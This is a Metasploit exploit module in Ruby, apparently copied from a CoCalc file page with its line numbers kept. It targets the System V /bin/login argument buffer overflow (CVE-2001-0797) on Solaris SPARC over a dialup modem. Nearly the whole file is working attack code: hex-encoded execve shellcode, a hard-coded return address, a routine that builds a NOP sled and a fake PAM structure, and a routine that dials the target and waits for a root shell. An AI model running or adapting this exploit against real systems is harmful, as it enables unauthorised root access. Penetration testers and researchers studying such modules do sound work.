CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GoodRanking
8

9
  include Msf::Exploit::Remote::Dialup
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'		=> 'System V Derived /bin/login Extraneous Arguments Buffer Overflow',
14
      'Description'	=> %q{
15
          This exploit connects to a system's modem over dialup and exploits
16
        a buffer overflow vulnerability in it's System V derived /bin/login.
17
        The vulnerability is triggered by providing a large number of arguments.
18
      },
19
      'References'     =>
20
        [
21
          [ 'CVE', '2001-0797'],
22
          [ 'OSVDB', '690'],
23
          [ 'OSVDB', '691'],
24
          [ 'BID', '3681'],
25
          [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2002-10/0014.html'],
26
          [ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-12/0404.html'],
27
        ],
28
      'Author'	=>
29
        [
30
          'I)ruid',
31
        ],
32
      'Arch'		=> ARCH_TTY,
33
      'Platform'	=> ['unix'],
34
      'License'	=> MSF_LICENSE,
35
      'Payload'        =>
36
        {
37
          'Space'       => 3000,
38
          'BadChars'    => '',
39
          'DisableNops' => true,
40
        },
41
      'Targets'        =>
42
        [
43
          [ 'Solaris 2.6 - 8 (SPARC)',
44
            {
45
              'Platform' => 'unix',
46
              'Ret'      => 0x00027184,
47
              # Solaris/SPARC special shellcode (courtesy of inode)
48
              # execve() + exit()
49
              'Shellcode' =>
50
                "\x94\x10\x20\x00\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc" +
51
                "\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23\xbf\xf8\xe0\x23\xbf\xf4" +
52
                "\x90\x23\xa0\x0c\xd4\x23\xbf\xf0\xd0\x23\xbf\xec\x92\x23\xa0\x14" +
53
                "\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08",
54
              'NOP' => "\x90\x1b\x80\x0e",
55
            }
56
          ],
57
        ],
58
      'DefaultTarget'  => 0,
59
      'DisclosureDate' => '2001-12-12'))
60

61
    register_options(
62
      [
63
#				OptString.new('USER', [true, 'User to log in as', 'bin']),
64
      ])
65
  end
66

67
  def buildbuf
68
    print_status("Targeting: #{self.target.name}")
69

70
    retaddr   = self.target.ret
71
    shellcode = self.target['Shellcode']
72
    nop       = self.target['NOP']
73

74
    user      = datastore['USER']
75
    command   = datastore['COMMAND'] + "\n"
76

77
    # prepare the evil buffer
78
    i = 0
79
    buf = ''
80

81
    # login name
82
    buf[i,4] = 'bin '
83
    i += 4
84

85
    # return address
86
    buf[i,4] = [retaddr].pack('N')
87
    i += 4
88
    buf[i,1] = ' '
89
    i += 1
90

91
    # trigger the overflow
92
    (0...60).each {|c|
93
      buf[i,2] = 'a '
94
      i += 2
95
    }
96

97
    # padding
98
    buf[i,4] = ' BBB'
99
    i += 4
100

101
    # nop sled and shellcode
102
    (0...398).each {|c|
103
      buf[i,nop.size] = nop
104
      i += nop.size
105
    }
106
    shellcode.each_byte {|b|
107
      c = b.chr
108
      case 'c'
109
      when "\\"
110
        buf[i,2] = "\\\\"
111
        i += 2
112
      when "\xff", "\n", " ", "\t"
113
        buf[i,1] = "\\"
114
        buf[i+1,1] = (((b & 0300) >> 6) + '0').chr
115
        buf[i+2,1] = (((b & 0070) >> 3) + '0').chr
116
        buf[i+3,1] = ( (b & 0007)       + '0').chr
117
        i += 4
118
      else
119
        buf[i,1] = c
120
        i += 1
121
      end
122
    }
123
    # TODO: need to overwrite/skip the last byte of shellcode?
124
    #i -= 1
125

126
    # padding
127
    buf[i,4] = 'BBB '
128
    i += 4
129

130
    # pam_handle_t: minimal header
131
    buf[i,16] = 'CCCCCCCCCCCCCCCC'
132
    i += 16
133
    buf[i,4] = [retaddr].pack('N')
134
    i += 4
135
    buf[i,4] = [0x01].pack('N')
136
    i += 4
137

138
    # pam_handle_t: NULL padding
139
    (0...52).each {|c|
140
      buf[i,4] = [0].pack('N')
141
      i += 4
142
    }
143

144
    # pam_handle_t: pameptr must be the 65th ptr
145
    buf[i,9] = "\x00\x00\x00 AAAA\n"
146
    i += 9
147

148
    return buf
149
  end
150

151
  def exploit
152
    buf = buildbuf
153

154
    print_status("Dialing Target")
155
    if not connect_dialup
156
      print_error("Exiting.")
157
      return
158
    end
159

160
    print_status("Waiting for login prompt")
161

162
    res = dialup_expect(/ogin:\s/i, 10)
163
    #puts Rex::Text.to_hex_dump(res[:buffer])
164
    if not res[:match]
165
      print_error("Login prompt not found... Exiting.")
166
      disconnect_dialup
167
      return
168
    end
169

170
    # send the evil buffer, 256 chars at a time
171
    print_status("Sending evil buffer...")
172
    #puts Rex::Text.to_hex_dump(buf)
173
    len = buf.length
174
    p = 0
175
    while(len > 0) do
176
      i = len > 0x100 ? 0x100 : len
177
      #puts Rex::Text.to_hex_dump(buf[p,i])
178
      dialup_puts(buf[p,i])
179
      len -= i
180
      p += i
181
#			if len > 0
182
#				puts Rex::Text.to_hex_dump("\x04")
183
#				dialup_puts("\x04") if len > 0
184
#			end
185
      select(nil,nil,nil,0.5)
186
    end
187

188
    # wait for password prompt
189
    print_status("Waiting for password prompt")
190
    res = dialup_expect(/assword:/i, 30)
191
    #puts Rex::Text.to_hex_dump(res[:buffer])
192
    if not res[:match]
193
      print_error("Target is likely not vulnerable... Exiting.")
194
      disconnect_dialup
195
      return
196
    end
197

198
    print_status("Password prompt received, waiting for shell")
199
    dialup_puts("pass\n")
200

201
    res = dialup_expect(/#\s/i, 20)
202
    #puts Rex::Text.to_hex_dump(res[:buffer])
203
    if not res[:match]
204
      print_error("Shell not found.")
205
      print_error("Target is likely not vulnerable... Exiting.")
206
      disconnect_dialup
207
      return
208
    end
209

210
    print_status("Success!!!")
211
    handler
212

213
    disconnect_dialup
214
  end
215
end
216

217